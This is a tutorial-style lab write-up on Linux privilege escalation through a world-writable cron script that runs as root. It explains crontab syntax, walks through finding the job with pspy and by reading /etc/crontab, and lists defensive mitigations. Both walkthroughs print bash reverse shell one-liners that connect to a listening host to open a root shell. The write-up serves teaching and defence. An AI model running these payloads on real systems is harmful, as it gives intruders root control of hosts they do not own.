Linux Privilege Escalation by Exploiting Cronjobs
This article dissects that exact failure mode through two end-to-end exploitation walkthroughs. In the first scenario, an attacker who cannot read the system crontab uses pspy to silently observe processes spawned by other users and uncover the vulnerable cron task. In the second scenario, the attacker reads /etc/crontab directly because file permissions allow it. Both scenarios converge on the same outcome: a fully interactive root reverse shell. By the end of this article, the reader will understand how cron-based privilege escalation works in practice, how attackers chain reconnaissance into exploitation, and which defensive controls neutralise the technique entirely.
Table of Contents
- Introduction
- Lab Environment
- Understanding Cron Jobs
- Creating the Vulnerable Cron Job
- Inspecting
/etc/crontab - Creating the Writable Script
- Scheduling the Cron Job
- Verifying Execution
- Inspecting
- Exploitation Method 1: Using pspy
- SSH Access and pspy Setup
- Discovering the Cron Job
- Checking File Permissions
- Injecting the Reverse Shell
- Catching the Root Shell
- Exploitation Method 2: Reading
/etc/crontabDirectly- Enumerating Cron Jobs
- Verifying the Vulnerable Script
- Injecting the Payload
- Receiving the Root Shell
- Mitigation Strategies
- Conclusion
Introduction
Cron is the time-based job scheduler that quietly powers nearly every recurring task on a Linux system, from log rotation and backups to monitoring agents and synchronisation routines. Because the cron daemon traditionally executes scheduled scripts under the owner’s identity — and very often under root — any weakness in how these scripts are stored, owned, or invoked translates directly into a path to privilege escalation. A single forgotten chmod 777 on a root-owned script is enough to hand a low-privileged attacker complete control of the host.
Lab Environment
The lab consists of two virtual machines on the same private network. The attacker operates from a Kali Linux box, while the target runs a stock Ubuntu 22.04 server with a deliberately misconfigured cron job. The table below summarises the setup.

What is Cron job?
The cron daemon reads scheduling rules from two principal locations: per-user crontabs managed via crontab -e, and the system-wide file at /etc/crontab. Each line in either location follows the standard five-field syntax — minute, hour, day of month, month, day of week — followed by the command to execute. The system-wide file additionally allows administrators to specify the user under which the command runs. When that user is root, and the referenced script is writable by an unprivileged user, the cron daemon will faithfully execute attacker-controlled code at the next scheduled tick. This is the precise primitive both scenarios exploit.
Understanding Cron Jobs
Cron is one of those quietly heroic Unix tools — a daemon that’s been running on virtually every Unix-like system since 1975, waking up every minute, reading its little table of jobs, and asking one question: “is now a time I should run something?” That table is the crontab, and every line in it is a five-field schedule plus the command to run when the schedule fires. The image is a decoder ring for that schedule.
The cascade at the top is the whole language. Five asterisks, each one a constraint on a different unit of time, read left-to-right from finest to coarsest: minute, hour, day-of-month, month, day-of-week. An asterisk means “any value is fine, don’t constrain me here.” Replace it with a number, and you’ve pinned that field. So 0 9 * * * is minute 0, hour 9, any day, any month, any weekday — 9:00 AM every single day. The colour-coding in the diagram is doing real work: each * belongs to a different field, and the └── lines trace which slot it controls. The leftmost * is the minute hand, the rightmost is the weekday — get those swapped and your “every Monday morning” job runs every minute on Mondays in January.
The special characters compose. A bare number pins one value. A comma makes a list (1,15,30 means at minute 1, 15, and 30). A dash makes a range (9-17 means every hour from 9 AM through 5 PM). A slash makes a step (*/15 means every 15 units starting from the lowest — so */15 in the minute field fires at :00, :15, :30, :45). You can stack them: 0 9-17/2 * * 1-5 is minute 0, every other hour from 9 to 17, weekdays only — so 9, 11, 1, 3, 5 PM on workdays. That’s the entire grammar. There is no else, no if, no functions — just five constrained number-sets and a command.
Now the examples in the middle panel read like sentences. */5 * * * * — every 5 minutes, any hour, any day… — fires twelve times an hour, forever. 0 9 * * 1-5 — minute 0, hour 9, any day-of-month, any month, weekdays 1 through 5 — is the canonical “weekday morning standup reminder.” 30 2 * * 0 is 2:30 AM on Sundays — classic backup window, chosen because nobody’s awake to notice the I/O spike. 0 0 1 * * is midnight on the 1st of every month, your monthly billing job. The pattern is always the same: read the five fields, AND them together, and that’s when it fires.
The @shortcuts at the bottom-right are pure ergonomics. @daily is exactly 0 0 * * * — the cron daemon literally substitutes it. @hourly is 0 * * * *. @reboot is the one exception — it doesn’t run on a schedule at all, it runs once when the system boots. They exist because typing 0 0 * * * for “daily” gets old fast, and people kept getting it subtly wrong.
There’s a famous gotcha hiding in the cascade that the image doesn’t show: when you set both day-of-month and day-of-week to specific values, cron treats them as OR, not AND. So 0 0 13 * 5 doesn’t mean “Friday the 13th” — it means the 13th of any month, OR any Friday, which fires far more often than you’d expect. Almost everything else in cron is AND across fields; this one inherited a weird historical quirk. The image’s cascade is honest about what each field controls, but reading the interaction between fields is where most cron bugs live.

Method 1: Lab Setup & Exploitation
Before the attack begins, the administrator establishes a vulnerable cron task on the target. The five steps below replicate the kind of misconfiguration commonly observed in production: a privileged script kept in a shared directory, given world-writable permissions, and scheduled to run as root.
Step 1 — Inspecting the system-wide crontab
To confirm the default scheduling layout, we will open crontab using the following command:
cat /etc/crontab

The output shows the standard cron field reference (minute, hour, day-of-month, month, day-of-week) and the four pre-populated anacron entries (hourly, daily, weekly, monthly), all of which run under root. This file serves as the central scheduling reference and the foundation for the privilege escalation chain that follows.
Step 2 — Laying down the cron target on disk
We will build a new directory and switch into it using the following command:
mkdir /opt/raj cd /opt/raj/
After this, we will create the script file.sh using the following command:
nano file.sh cat file.sh
Once the script is created, we will give it the following permissions:
chmod 777 file.sh

Executing the above commands confirmed via cat file.sh — are deliberately simple: a #!/bin/bash shebang followed by an echo command that writes “Welcome to Hacking Articles” to /tmp/file.txt. The 777 mask grants read, write, and execute permissions to all users on the system, thereby making the script an exploitable pivot point for the attack.
Step 3 — Entering root’s crontab for editing
The administrator runs to launch the per-user crontab editor for root. We will use the following command, because no crontab exists yet, cron prints no crontab for root – using an empty one and prompts the administrator to choose an editor. Selecting option 1 opens the new crontab in nano, the most accessible of the three offered editors.
crontab -e

Step 4 — Scheduling the vulnerable script
Inside the crontab editor, we will append the line and write:
*/1 * * * * /bin/bash /opt/raj/file.sh

The */1 expression in the minute field instructs cron to fire the job every single minute, while the four asterisks that follow signal “every hour, every day, every month, every weekday.” Because the entry is in the root’s crontab, the script will execute under root’s identity at every tick. After saving and exiting nano, the cron daemon picks up the new schedule automatically.
Step 5 — Observing Cron Job Results
To confirm the schedule is active, we will change the directory to /tmp and list its contents by using the following command:
cd /tmp ls

Here, we will find file.txt sitting in the directory. Reading the file with cat file.txt returns “Welcome to Hacking Articles,” which proves cron is invoking /opt/raj/file.sh reliably as scheduled. The vulnerable configuration is now live, and the target is primed for exploitation.
Exploitation
In the first exploitation path, the unprivileged user lowpriv cannot read /etc/crontab because file permissions are restrictive. To uncover hidden scheduled tasks, the attacker leverages pspy — a process-snooping utility that monitors process creation in real time without requiring root privileges. pspy effectively turns every cron tick into a visible event that the attacker can analyse.
Step 1 — Establishing the SSH foothold and staging pspy
The attacker initiates a remote session from Kali using:
ssh lowpriv@192.168.1.13.
After authenticating, the attacker switches to the writable /tmp directory and downloads the pspy64 binary directly from its official GitHub releases page. They then grant execute permissions to the file and launch the tool using the following commands:
cd /tmp wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64. chmod 777 pspy64 ./pspy64.

Step 2 — Capturing the cron job in pspy output.
Within seconds, pspy logs the smoking gun. Every minute, it prints a CMD: UID=0 line corresponding to the cron daemon (/usr/sbin/CRON -f -P), immediately followed by another UID=0 entry showing /bin/sh -c /bin/bash /opt/raj/file.sh. This single line tells the attacker three critical facts at once: the script’s full path, the fact that it executes as root (UID 0), and the precise interval at which it fires. Reconnaissance is complete.

Step 3 — Confirming write access to the target script.
The attacker pivots to the script’s directory and inspects permissions with
cd /opt/raj ls -la file.sh

The output reveals -rwxrwxrwx 1 root root — full read, write, and execute permissions for every user on the system, including lowpriv. Although root owns the file, the attacker can freely overwrite its contents. Because cron will execute whatever bytes the file contains the next time it fires, the attacker has effectively achieved arbitrary code execution as root.
Step 4 — Generating a bash reverse shell payload
To convert write access into an interactive root session, the attacker visits the online Reverse Shell Generator and supplies all the necessary details as shown in the image below.

This payload spawns an interactive bash session and routes its standard input, output, and error streams across a TCP connection back to the attacker.
Step 5 — Overwriting the cron-driven script
The attacker then injects the payload into the file.sh with a single redirection:
echo "/bin/bash -i >& /dev/tcp/192.168.1.17/6666 0>&1" > file.sh.

The single-greater-than operator truncates the script and replaces its contents with the malicious one-liner. From this moment on, every cron tick executes the reverse shell as root.
Step 6— Catching the root reverse shell
On the Kali side, the attacker starts a netcat listener wrapped in rlwrap for line-editing comfort: rlwrap nc -lvp 6666

Within sixty seconds, the cron daemon fires file.sh, and the target connects back. After bash warns about its inability to set the terminal process group (a harmless artefact of a non-PTY shell), the attacker runs whoami, and the system replies root. Privilege escalation is complete: the attacker now holds the highest possible level of access on the target.
Method 2: Lab Setup & Exploitation
The second exploitation path assumes a slightly more permissive posture: the system-wide crontab at /etc/crontab is world-readable, which is the Ubuntu default. Any local user can therefore enumerate scheduled jobs without uploading external tools, making this scenario both faster and stealthier than the pspy approach.
Step 1 — Lab Setup bu Nomral User
From a pentest account, the attacker runs cat /etc/crontab. The default Ubuntu file is fully readable, and the trailing line */1 * * * * /bin/bash /opt/raj/file.sh exposes the same vulnerable schedule observed earlier. The attacker now knows the script’s path and execution interval without uploading a single binary or running any reconnaissance tool.

Step 2 — Verifying the cron entry from the lowpriv account
To confirm the misconfiguration applies across user contexts, the attacker logs in through SSH and re-runs the previous command:
ssh lowpriv@192.168.1.13 cat /etc/crontab

The output is identical: the cron entry pointing to /opt/raj/file.sh is plainly visible, and the schedule still fires every minute under root. Reconnaissance for this scenario takes seconds and requires no privileged access.
Step 3 — Confirming permissions and injecting a new payload.
The attacker navigates into /opt/raj and verifies the permissions for file.sh with the following command:
cd /opt/raj ls -la file.sh
With write access confirmed, the attacker injects a fresh reverse shell — this time on TCP port 4444 — using:
echo "/bin/bash -i >& /dev/tcp/192.168.1.17/4444 0>&1" > file.sh

Because the file is world-writable, the redirection succeeds without privilege checks of any kind.
Step 4 — Receiving the second root reverse shell
On Kali, the attacker spins up a fresh listener with:
rlwrap nc -lvp 4444

The next cron cycle delivers the connection from 192.168.1.13, and a quick whoami confirms root once again. Two distinct reconnaissance methods, the same result: complete compromise of the target host through a single misconfigured permission bit.
Mitigation Strategies
Defenders neutralise this entire class of attack by enforcing strict ownership, permissions, and process discipline around every cron-driven asset. The following controls, applied together, eliminate the privilege escalation path demonstrated above.
- Enforce least-privilege permissions on cron scripts. Own the script as root:root and apply chmod 755 — or more restrictive 700 if no other user needs to read it. Never apply 777 to any privileged script under any circumstance.
- Avoid writable shared directories. Store privileged cron scripts inside /usr/local/sbin or another root-only directory. Refrain from placing them in /tmp, /var/tmp, or shared locations under /opt without explicit hardening.
- Restrict access to /etc/crontab. Apply chmod 600 /etc/crontab so only root can read the file. This blocks the trivial cat /etc/crontab enumeration path used in Method 2.
- Audit cron jobs regularly. Use automated tools such as LinPEAS, lynis, or linux-exploit-suggester during routine security reviews to surface world-writable scripts and unsafe schedules before attackers do.
- Monitor process activity for anomalous cron behaviour. Deploy auditd, Falco, or an EDR agent that alerts on root-spawned shells originating from cron-invoked scripts. The same telemetry that pspy exposes to attackers is equally available to defenders when properly instrumented.
- Validate script integrity. Store cron scripts under version control and enforce checksums via AIDE or Tripwire. Any out-of-band modification to a privileged script should generate an immediate alert.
- Apply the principle of separation of duties. Wherever possible, run cron jobs under purpose-built service accounts rather than root, and grant only the specific capabilities they require.
Conclusion
Cron job exploitation remains one of the most reliable Linux privilege escalation techniques precisely because it weaponises routine convenience: a forgotten chmod 777, a script left in a shared directory, a job that runs as root every minute. Both scenarios demonstrated in this article hinged on exactly that pattern, and both produced a root shell within minutes of initial access. The first method used pspy to extract scheduling information from the process table; the second simply read /etc/crontab off disk. The differences in reconnaissance disappeared at the exploitation stage, where a single echo redirection into a world-writable script delivered total compromise.
For attackers, cron jobs offer a low-noise, high-reward path to total compromise. For defenders, they represent a single misplaced permission away from disaster. Treating every scheduled task as a privileged execution boundary — locked down with strict ownership, restrictive permissions, integrity monitoring, and regular auditing — strips the technique of its power entirely. The goal is not to stop using cron; it is to stop trusting it implicitly. When that mindset shift takes hold across an organisation, the failure mode demonstrated in this article ceases to exist.
It will be good with the exploitation, if you put the patch or the solution.
Nice article!
I’ve got two doubts:
1. In the very first example, does the Apache logs get generated every minute or every hour?
2. What is the significance of the asterisk and a forward slash before the number of minutes in the crontab file? Why do we have to write “*/2” instead of just “2” for running a task every 2 minutes?
nice [aarti-{cles}]
Hmane paya ki es aarti{cles} me keval user ka cronjon mention kiya gya hai? without user ka add kijiye